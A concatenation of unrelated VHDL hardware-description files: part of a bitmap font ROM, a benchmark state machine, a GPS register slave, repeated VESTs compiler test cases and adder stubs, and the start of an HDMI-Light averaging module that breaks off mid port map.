"01111000", -- 5 ****
"01101100", -- 6 ** **
"01100110", -- 7 ** **
"01100110", -- 8 ** **
"01100110", -- 9 ** **
"01100110", -- a ** **
"01111100", -- b *****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x63
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"01111100", -- 5 *****
"11000110", -- 6 ** **
"11000000", -- 7 **
"11000000", -- 8 **
"11000000", -- 9 **
"11000110", -- a ** **
"01111100", -- b *****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x64
"00000000", -- 0
"00000000", -- 1
"00011100", -- 2 ***
"00001100", -- 3 **
"00001100", -- 4 **
"00111100", -- 5 ****
"01101100", -- 6 ** **
"11001100", -- 7 ** **
"11001100", -- 8 ** **
"11001100", -- 9 ** **
"11001100", -- a ** **
"01110110", -- b *** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x65
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"01111100", -- 5 *****
"11000110", -- 6 ** **
"11111110", -- 7 *******
"11000000", -- 8 **
"11000000", -- 9 **
"11000110", -- a ** **
"01111100", -- b *****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x66
"00000000", -- 0
"00000000", -- 1
"00111000", -- 2 ***
"01101100", -- 3 ** **
"01100100", -- 4 ** *
"01100000", -- 5 **
"11110000", -- 6 ****
"01100000", -- 7 **
"01100000", -- 8 **
"01100000", -- 9 **
"01100000", -- a **
"11110000", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x67
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"01110110", -- 5 *** **
"11001100", -- 6 ** **
"11001100", -- 7 ** **
"11001100", -- 8 ** **
"11001100", -- 9 ** **
"11001100", -- a ** **
"01111100", -- b *****
"00001100", -- c **
"11001100", -- d ** **
"01111000", -- e ****
"00000000"),( -- f
-- code x68
"00000000", -- 0
"00000000", -- 1
"11100000", -- 2 ***
"01100000", -- 3 **
"01100000", -- 4 **
"01101100", -- 5 ** **
"01110110", -- 6 *** **
"01100110", -- 7 ** **
"01100110", -- 8 ** **
"01100110", -- 9 ** **
"01100110", -- a ** **
"11100110", -- b *** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x69
"00000000", -- 0
"00000000", -- 1
"00011000", -- 2 **
"00011000", -- 3 **
"00000000", -- 4
"00111000", -- 5 ***
"00011000", -- 6 **
"00011000", -- 7 **
"00011000", -- 8 **
"00011000", -- 9 **
"00011000", -- a **
"00111100", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x6a
"00000000", -- 0
"00000000", -- 1
"00000110", -- 2 **
"00000110", -- 3 **
"00000000", -- 4
"00001110", -- 5 ***
"00000110", -- 6 **
"00000110", -- 7 **
"00000110", -- 8 **
"00000110", -- 9 **
"00000110", -- a **
"00000110", -- b **
"01100110", -- c ** **
"01100110", -- d ** **
"00111100", -- e ****
"00000000"),( -- f
-- code x6b
"00000000", -- 0
"00000000", -- 1
"11100000", -- 2 ***
"01100000", -- 3 **
"01100000", -- 4 **
"01100110", -- 5 ** **
"01101100", -- 6 ** **
"01111000", -- 7 ****
"01111000", -- 8 ****
"01101100", -- 9 ** **
"01100110", -- a ** **
"11100110", -- b *** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x6c
"00000000", -- 0
"00000000", -- 1
"00111000", -- 2 ***
"00011000", -- 3 **
"00011000", -- 4 **
"00011000", -- 5 **
"00011000", -- 6 **
"00011000", -- 7 **
"00011000", -- 8 **
"00011000", -- 9 **
"00011000", -- a **
"00111100", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x6d
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"11100110", -- 5 *** **
"11111111", -- 6 ********
"11011011", -- 7 ** ** **
"11011011", -- 8 ** ** **
"11011011", -- 9 ** ** **
"11011011", -- a ** ** **
"11011011", -- b ** ** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x6e
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"11011100", -- 5 ** ***
"01100110", -- 6 ** **
"01100110", -- 7 ** **
"01100110", -- 8 ** **
"01100110", -- 9 ** **
"01100110", -- a ** **
"01100110", -- b ** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x6f
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"01111100", -- 5 *****
"11000110", -- 6 ** **
"11000110", -- 7 ** **
"11000110", -- 8 ** **
"11000110", -- 9 ** **
"11000110", -- a ** **
"01111100", -- b *****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x70
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"11011100", -- 5 ** ***
"01100110", -- 6 ** **
"01100110", -- 7 ** **
"01100110", -- 8 ** **
"01100110", -- 9 ** **
"01100110", -- a ** **
"01111100", -- b *****
"01100000", -- c **
"01100000", -- d **
"11110000", -- e ****
"00000000"),( -- f
-- code x71
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"01110110", -- 5 *** **
"11001100", -- 6 ** **
"11001100", -- 7 ** **
"11001100", -- 8 ** **
"11001100", -- 9 ** **
"11001100", -- a ** **
"01111100", -- b *****
"00001100", -- c **
"00001100", -- d **
"00011110", -- e ****
"00000000"),( -- f
-- code x72
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"11011100", -- 5 ** ***
"01110110", -- 6 *** **
"01100110", -- 7 ** **
"01100000", -- 8 **
"01100000", -- 9 **
"01100000", -- a **
"11110000", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x73
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"01111100", -- 5 *****
"11000110", -- 6 ** **
"01100000", -- 7 **
"00111000", -- 8 ***
"00001100", -- 9 **
"11000110", -- a ** **
"01111100", -- b *****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x74
"00000000", -- 0
"00000000", -- 1
"00010000", -- 2 *
"00110000", -- 3 **
"00110000", -- 4 **
"11111100", -- 5 ******
"00110000", -- 6 **
"00110000", -- 7 **
"00110000", -- 8 **
"00110000", -- 9 **
"00110110", -- a ** **
"00011100", -- b ***
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x75
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"11001100", -- 5 ** **
"11001100", -- 6 ** **
"11001100", -- 7 ** **
"11001100", -- 8 ** **
"11001100", -- 9 ** **
"11001100", -- a ** **
"01110110", -- b *** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x76
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"11000011", -- 5 ** **
"11000011", -- 6 ** **
"11000011", -- 7 ** **
"11000011", -- 8 ** **
"01100110", -- 9 ** **
"00111100", -- a ****
"00011000", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x77
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"11000011", -- 5 ** **
"11000011", -- 6 ** **
"11000011", -- 7 ** **
"11011011", -- 8 ** ** **
"11011011", -- 9 ** ** **
"11111111", -- a ********
"01100110", -- b ** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x78
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"11000011", -- 5 ** **
"01100110", -- 6 ** **
"00111100", -- 7 ****
"00011000", -- 8 **
"00111100", -- 9 ****
"01100110", -- a ** **
"11000011", -- b ** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x79
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"11000110", -- 5 ** **
"11000110", -- 6 ** **
"11000110", -- 7 ** **
"11000110", -- 8 ** **
"11000110", -- 9 ** **
"11000110", -- a ** **
"01111110", -- b ******
"00000110", -- c **
"00001100", -- d **
"11111000", -- e *****
"00000000"),( -- f
-- code x7a
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"11111110", -- 5 *******
"11001100", -- 6 ** **
"00011000", -- 7 **
"00110000", -- 8 **
"01100000", -- 9 **
"11000110", -- a ** **
"11111110", -- b *******
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x7b
"00000000", -- 0
"00000000", -- 1
"00001110", -- 2 ***
"00011000", -- 3 **
"00011000", -- 4 **
"00011000", -- 5 **
"01110000", -- 6 ***
"00011000", -- 7 **
"00011000", -- 8 **
"00011000", -- 9 **
"00011000", -- a **
"00001110", -- b ***
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x7c
"00000000", -- 0
"00000000", -- 1
"00011000", -- 2 **
"00011000", -- 3 **
"00011000", -- 4 **
"00011000", -- 5 **
"00000000", -- 6
"00011000", -- 7 **
"00011000", -- 8 **
"00011000", -- 9 **
"00011000", -- a **
"00011000", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x7d
"00000000", -- 0
"00000000", -- 1
"01110000", -- 2 ***
"00011000", -- 3 **
"00011000", -- 4 **
"00011000", -- 5 **
"00001110", -- 6 ***
"00011000", -- 7 **
"00011000", -- 8 **
"00011000", -- 9 **
"00011000", -- a **
"01110000", -- b ***
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x7e
"00000000", -- 0
"00000000", -- 1
"01110110", -- 2 *** **
"11011100", -- 3 ** ***
"00000000", -- 4
"00000000", -- 5
"00000000", -- 6
"00000000", -- 7
"00000000", -- 8
"00000000", -- 9
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x7f
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00010000", -- 4 *
"00111000", -- 5 ***
"01101100", -- 6 ** **
"11000110", -- 7 ** **
"11000110", -- 8 ** **
"11000110", -- 9 ** **
"11111110", -- a *******
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000") -- f
);
end;
|
library ieee;
use ieee.numeric_std.all;
use ieee.std_logic_1164.all;
entity bbsse_nov is
port(
clock: in std_logic;
input: in std_logic_vector(6 downto 0);
output: out std_logic_vector(6 downto 0)
);
end bbsse_nov;
architecture behaviour of bbsse_nov is
constant st0: std_logic_vector(3 downto 0) := "1100";
constant st1: std_logic_vector(3 downto 0) := "0000";
constant st2: std_logic_vector(3 downto 0) := "0111";
constant st3: std_logic_vector(3 downto 0) := "0001";
constant st4: std_logic_vector(3 downto 0) := "0110";
constant st5: std_logic_vector(3 downto 0) := "0011";
constant st6: std_logic_vector(3 downto 0) := "0101";
constant st7: std_logic_vector(3 downto 0) := "0100";
constant st8: std_logic_vector(3 downto 0) := "1011";
constant st9: std_logic_vector(3 downto 0) := "1010";
constant st10: std_logic_vector(3 downto 0) := "0010";
constant st11: std_logic_vector(3 downto 0) := "1101";
constant st12: std_logic_vector(3 downto 0) := "1001";
constant st13: std_logic_vector(3 downto 0) := "1000";
constant st14: std_logic_vector(3 downto 0) := "1111";
constant st15: std_logic_vector(3 downto 0) := "1110";
signal current_state, next_state: std_logic_vector(3 downto 0);
begin
process(clock) begin
if rising_edge(clock) then current_state <= next_state;
end if;
end process;
process(input, current_state) begin
next_state <= "----"; output <= "-------";
case current_state is
when st0 =>
if std_match(input, "0------") then next_state <= st0; output <= "0000000";
elsif std_match(input, "10----0") then next_state <= st1; output <= "00110-0";
elsif std_match(input, "10----1") then next_state <= st1; output <= "00010-0";
elsif std_match(input, "11----0") then next_state <= st11; output <= "0011010";
elsif std_match(input, "11----1") then next_state <= st11; output <= "0001010";
end if;
when st1 =>
if std_match(input, "100----") then next_state <= st1; output <= "00000-0";
elsif std_match(input, "101-1--") then next_state <= st4; output <= "10000-0";
elsif std_match(input, "101-0--") then next_state <= st2; output <= "10000-0";
elsif std_match(input, "0------") then next_state <= st11; output <= "000--10";
elsif std_match(input, "11-----") then next_state <= st11; output <= "0000010";
end if;
when st2 =>
if std_match(input, "10-----") then next_state <= st3; output <= "00000-0";
elsif std_match(input, "0------") then next_state <= st11; output <= "000--10";
elsif std_match(input, "11-----") then next_state <= st11; output <= "0000010";
end if;
when st3 =>
if std_match(input, "10--0--") then next_state <= st2; output <= "10000-0";
elsif std_match(input, "10--1--") then next_state <= st4; output <= "10000-0";
elsif std_match(input, "0------") then next_state <= st11; output <= "000--10";
elsif std_match(input, "11-----") then next_state <= st11; output <= "0000010";
end if;
when st4 =>
if std_match(input, "10-----") then next_state <= st5; output <= "00000-0";
elsif std_match(input, "0------") then next_state <= st11; output <= "000--10";
elsif std_match(input, "11-----") then next_state <= st11; output <= "0000010";
end if;
when st5 =>
if std_match(input, "10-1---") then next_state <= st4; output <= "10000-0";
elsif std_match(input, "10--1--") then next_state <= st4; output <= "10000-0";
elsif std_match(input, "10-00--") then next_state <= st6; output <= "0100010";
elsif std_match(input, "0------") then next_state <= st11; output <= "000--10";
elsif std_match(input, "11-----") then next_state <= st11; output <= "0000010";
end if;
when st6 =>
if std_match(input, "10---0-") then next_state <= st6; output <= "0100000";
elsif std_match(input, "10---1-") then next_state <= st7; output <= "01000-0";
elsif std_match(input, "0------") then next_state <= st11; output <= "000--10";
elsif std_match(input, "11-----") then next_state <= st11; output <= "0000010";
end if;
when st7 =>
if std_match(input, "10-----") then next_state <= st8; output <= "0000010";
elsif std_match(input, "0------") then next_state <= st11; output <= "000--10";
elsif std_match(input, "11-----") then next_state <= st11; output <= "0000010";
end if;
when st8 =>
if std_match(input, "10---0-") then next_state <= st8; output <= "0000000";
elsif std_match(input, "10---1-") then next_state <= st9; output <= "10000-0";
elsif std_match(input, "0------") then next_state <= st11; output <= "000--10";
elsif std_match(input, "11-----") then next_state <= st11; output <= "0000010";
end if;
when st9 =>
if std_match(input, "10-----") then next_state <= st10; output <= "00000-0";
elsif std_match(input, "0------") then next_state <= st11; output <= "000--10";
elsif std_match(input, "11-----") then next_state <= st11; output <= "0000010";
end if;
when st10 =>
if std_match(input, "1001---") then next_state <= st10; output <= "00000-0";
elsif std_match(input, "10-01--") then next_state <= st1; output <= "00010-0";
elsif std_match(input, "10-00--") then next_state <= st6; output <= "0100010";
elsif std_match(input, "1011---") then next_state <= st9; output <= "10000-0";
elsif std_match(input, "0------") then next_state <= st11; output <= "000--10";
elsif std_match(input, "11-----") then next_state <= st11; output <= "0000010";
end if;
when st11 =>
if std_match(input, "0----0-") then next_state <= st11; output <= "000--00";
elsif std_match(input, "11---0-") then next_state <= st11; output <= "0000000";
elsif std_match(input, "0----1-") then next_state <= st0; output <= "000---1";
elsif std_match(input, "10-----") then next_state <= st1; output <= "00000-0";
elsif std_match(input, "11---1-") then next_state <= st12; output <= "00001-0";
end if;
when st12 =>
if std_match(input, "11-----") then next_state <= st12; output <= "00001-0";
elsif std_match(input, "10-----") then next_state <= st1; output <= "00000-0";
elsif std_match(input, "0------") then next_state <= st11; output <= "000--10";
end if;
when st13 =>
if std_match(input, "0------") then next_state <= st11; output <= "000--10";
end if;
when st14 =>
if std_match(input, "0------") then next_state <= st11; output <= "000--10";
end if;
when st15 =>
if std_match(input, "0------") then next_state <= st11; output <= "000--10";
end if;
when others => next_state <= "----"; output <= "-------";
end case;
end process;
end behaviour;
|
library IEEE;
use IEEE.STD_LOGIC_1164.all;
use IEEE.NUMERIC_STD.all;
library std;
entity gps_slave is
generic (
CLK_PROC_FREQ : integer
);
port (
clk_proc : in std_logic;
reset_n : in std_logic;
---------------- dynamic parameters ports ---------------
enable_reg : out std_logic_vector(31 downto 0);
sat_reg : out std_logic_vector(31 downto 0);
update_reg : out std_logic_vector(31 downto 0);
--======================= Slaves ========================
------------------------- bus_sl ------------------------
addr_rel_i : in std_logic_vector(1 downto 0);
wr_i : in std_logic;
rd_i : in std_logic;
datawr_i : in std_logic_vector(31 downto 0);
datard_o : out std_logic_vector(31 downto 0)
);
end gps_slave;
architecture rtl of gps_slave is
-- Registers address
constant ENABLE_REG_REG_ADDR : natural := 0;
constant SAT_REG_REG_ADDR : natural := 1;
constant UPDATE_REG_REG_ADDR : natural := 2;
-- Internal registers
signal enable_reg_reg : std_logic_vector (31 downto 0);
signal sat_reg_reg : std_logic_vector (31 downto 0);
signal update_reg_reg : std_logic_vector (31 downto 0);
begin
write_reg : process (clk_proc, reset_n)
begin
if(reset_n='0') then
enable_reg_reg <= x"00000000";
sat_reg_reg <= x"00000000";
update_reg_reg <= x"00000000";
elsif(rising_edge(clk_proc)) then
if(wr_i='1') then
case addr_rel_i is
when std_logic_vector(to_unsigned(ENABLE_REG_REG_ADDR, 2))=>
enable_reg_reg <= datawr_i;
when std_logic_vector(to_unsigned(SAT_REG_REG_ADDR, 2))=>
sat_reg_reg <= datawr_i;
when std_logic_vector(to_unsigned(UPDATE_REG_REG_ADDR, 2))=>
update_reg_reg <= datawr_i;
when others=>
end case;
end if;
end if;
end process;
read_reg : process (clk_proc, reset_n)
begin
if(reset_n='0') then
datard_o <= (others => '0');
elsif(rising_edge(clk_proc)) then
if(rd_i='1') then
case addr_rel_i is
when std_logic_vector(to_unsigned(ENABLE_REG_REG_ADDR, 2))=>
datard_o <= enable_reg_reg;
when std_logic_vector(to_unsigned(SAT_REG_REG_ADDR, 2))=>
datard_o <= sat_reg_reg;
when std_logic_vector(to_unsigned(UPDATE_REG_REG_ADDR, 2))=>
datard_o <= update_reg_reg;
when others=>
datard_o <= (others => '0');
end case;
end if;
end if;
end process;
enable_reg <= enable_reg_reg;
sat_reg <= sat_reg_reg;
update_reg <= update_reg_reg;
end rtl;
|
-- Copyright (C) 2001 Bill Billowitch.
-- Some of the work to develop this test suite was done with Air Force
-- support. The Air Force and Bill Billowitch assume no
-- responsibilities for this software.
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-- ---------------------------------------------------------------------
--
-- $Id: tc514.vhd,v 1.2 2001-10-26 16:30:26 paw Exp $
-- $Revision: 1.2 $
--
-- ---------------------------------------------------------------------
ENTITY c03s03b00x00p02n01i00514ent IS
END c03s03b00x00p02n01i00514ent;
ARCHITECTURE c03s03b00x00p02n01i00514arch OF c03s03b00x00p02n01i00514ent IS
type MY_WORD is array (0 to 31) of BIT;
type MEMORY is array (Integer range <>) of MY_WORD;
type ADDRESS is access ; --- Failure_here
BEGIN
TESTING: PROCESS
BEGIN
assert FALSE
report "***FAILED TEST: c03s03b00x00p02n01i00514 - Missing subtype indication"
severity ERROR;
wait;
END PROCESS TESTING;
END c03s03b00x00p02n01i00514arch;
|
-- Copyright (C) 2001 Bill Billowitch.
-- Some of the work to develop this test suite was done with Air Force
-- support. The Air Force and Bill Billowitch assume no
-- responsibilities for this software.
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-- ---------------------------------------------------------------------
--
-- $Id: tc514.vhd,v 1.2 2001-10-26 16:30:26 paw Exp $
-- $Revision: 1.2 $
--
-- ---------------------------------------------------------------------
ENTITY c03s03b00x00p02n01i00514ent IS
END c03s03b00x00p02n01i00514ent;
ARCHITECTURE c03s03b00x00p02n01i00514arch OF c03s03b00x00p02n01i00514ent IS
type MY_WORD is array (0 to 31) of BIT;
type MEMORY is array (Integer range <>) of MY_WORD;
type ADDRESS is access ; --- Failure_here
BEGIN
TESTING: PROCESS
BEGIN
assert FALSE
report "***FAILED TEST: c03s03b00x00p02n01i00514 - Missing subtype indication"
severity ERROR;
wait;
END PROCESS TESTING;
END c03s03b00x00p02n01i00514arch;
|
-- Copyright (C) 2001 Bill Billowitch.
-- Some of the work to develop this test suite was done with Air Force
-- support. The Air Force and Bill Billowitch assume no
-- responsibilities for this software.
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-- ---------------------------------------------------------------------
--
-- $Id: tc514.vhd,v 1.2 2001-10-26 16:30:26 paw Exp $
-- $Revision: 1.2 $
--
-- ---------------------------------------------------------------------
ENTITY c03s03b00x00p02n01i00514ent IS
END c03s03b00x00p02n01i00514ent;
ARCHITECTURE c03s03b00x00p02n01i00514arch OF c03s03b00x00p02n01i00514ent IS
type MY_WORD is array (0 to 31) of BIT;
type MEMORY is array (Integer range <>) of MY_WORD;
type ADDRESS is access ; --- Failure_here
BEGIN
TESTING: PROCESS
BEGIN
assert FALSE
report "***FAILED TEST: c03s03b00x00p02n01i00514 - Missing subtype indication"
severity ERROR;
wait;
END PROCESS TESTING;
END c03s03b00x00p02n01i00514arch;
|
-- Copyright (C) 2002 Morgan Kaufmann Publishers, Inc
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
use work.int_types.all;
entity small_adder is
port ( a, b : in small_int; s : out small_int );
end entity small_adder;
|
-- Copyright (C) 2002 Morgan Kaufmann Publishers, Inc
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
use work.int_types.all;
entity small_adder is
port ( a, b : in small_int; s : out small_int );
end entity small_adder;
|
-- Copyright (C) 2002 Morgan Kaufmann Publishers, Inc
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
use work.int_types.all;
entity small_adder is
port ( a, b : in small_int; s : out small_int );
end entity small_adder;
|
----------------------------------------------------------------------------------
--
-- Copyright (C) 2013 Stephen Robinson
--
-- This file is part of HDMI-Light
--
-- HDMI-Light is free software: you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation, either version 2 of the License, or
-- (at your option) any later version.
--
-- HDMI-Light is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with this code (see the file names COPING).
-- If not, see <http://www.gnu.org/licenses/>.
--
----------------------------------------------------------------------------------
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
use ieee.numeric_std.all;
-- Uncomment the following library declaration if using
-- arithmetic functions with Signed or Unsigned values
--use IEEE.NUMERIC_STD.ALL;
-- Uncomment the following library declaration if instantiating
-- any Xilinx primitives in this code.
--library UNISIM;
--use UNISIM.VComponents.all;
entity lightAverager is
port (
CLK : in std_logic;
CE : in std_logic;
START : in std_logic;
YPOS : in std_logic_vector(5 downto 0);
LINE_BUF_ADDR : out std_logic_vector(6 downto 0);
LINE_BUF_DATA : in std_logic_vector(23 downto 0);
CFG_CLK : in std_logic;
CFG_WE : in std_logic;
CFG_ADDR : in std_logic_vector(11 downto 0);
CFG_DIN : in std_logic_vector(7 downto 0);
CFG_DOUT : out std_logic_vector(7 downto 0);
RESULT_CLK : in std_logic;
RESULT_ADDR : in std_logic_vector(7 downto 0);
RESULT_DATA : out std_logic_vector(31 downto 0)
);
end lightAverager;
architecture Behavioral of lightAverager is
-- count is overflow (1), xpos (6), light (8), read/write (1) = 16 bits
signal COUNT : std_logic_vector(15 downto 0);
signal FRAME : std_logic := '0';
signal RUNNING : std_logic;
signal WRITE_CYCLE : std_logic;
signal XPOS : std_logic_vector(5 downto 0);
signal LIGHT_ADDR : std_logic_vector(7 downto 0);
signal WRITE_ENABLE : std_logic;
signal WRITE_ADDR : std_logic_vector(7 downto 0);
signal WRITE_DATA : std_logic_vector(71 downto 0);
signal CONFIG_ADDR : std_logic_vector(8 downto 0);
signal CONFIG_DATA : std_logic_vector(31 downto 0);
signal RESULT_RAM_ADDR : std_logic_vector(8 downto 0);
signal RESULT_RAM_WE : std_logic;
signal RESULT_RAM_D : std_logic_vector(71 downto 0);
signal RESULT_RAM_Q : std_logic_vector(71 downto 0);
signal RESULT_RAM_B_ADDR : std_logic_vector(8 downto 0);
signal RESULT_RAM_B_Q : std_logic_vector(71 downto 0);
signal XMIN_p0 : std_logic_vector(5 downto 0);
signal XMAX_p0 : std_logic_vector(5 downto 0);
signal YMIN_p0 : std_logic_vector(5 downto 0);
signal YMAX_p0 : std_logic_vector(5 downto 0);
signal SHIFT_p0 : std_logic_vector(3 downto 0);
signal R_TOTAL_p0 : std_logic_vector(20 downto 0);
signal G_TOTAL_p0 : std_logic_vector(20 downto 0);
signal B_TOTAL_p0 : std_logic_vector(20 downto 0);
signal R_p0 : std_logic_vector(7 downto 0);
signal G_p0 : std_logic_vector(7 downto 0);
signal B_p0 : std_logic_vector(7 downto 0);
signal WRITE_ADDR_p0 : std_logic_vector(7 downto 0);
signal XPOS_p0 : std_logic_vector(5 downto 0);
signal YPOS_p0 : std_logic_vector(5 downto 0);
signal RUNNING_p0 : std_logic;
signal SHIFT_p1 : std_logic_vector(3 downto 0);
signal R_TOTAL_p1 : std_logic_vector(20 downto 0);
signal G_TOTAL_p1 : std_logic_vector(20 downto 0);
signal B_TOTAL_p1 : std_logic_vector(20 downto 0);
signal WRITE_ADDR_p1 : std_logic_vector(7 downto 0);
signal WRITE_ENABLE_p1 : std_logic;
signal R_TOTAL_p2 : std_logic_vector(20 downto 0);
signal G_TOTAL_p2 : std_logic_vector(20 downto 0);
signal B_TOTAL_p2 : std_logic_vector(20 downto 0);
signal WRITE_ADDR_p2 : std_logic_vector(7 downto 0);
signal WRITE_ENABLE_p2 : std_logic;
begin
resultBuffer : entity work.blockram
GENERIC MAP(
ADDR => 9,
DATA => 72
)
PORT MAP (
a_clk => CLK,
a_en => CE,
a_wr => RESULT_RAM_WE,
a_rst => '0',
a_addr => RESULT_RAM_ADDR,
a_din => RESULT_RAM_D,
a_dout => RESULT_RAM_Q,
b_clk => RESULT_CLK,
b_en => '1',
b_wr => '0',
b_rst => '0',
b_addr => RESULT_RAM_B_ADDR,
b_din => (others=> '0'),
b_dout => RESULT_RAM_B_Q
);
configRam : entity work.lightConfigRam
PORT MAP (
a_clk => CFG_CLK,
a_wr => CFG_WE,
a_addr => CFG_ADDR,
a_din => CFG_DIN,
a_dout => CFG_DOUT,
b_clk => CLK,
b_addr => CONFIG_ADDR,
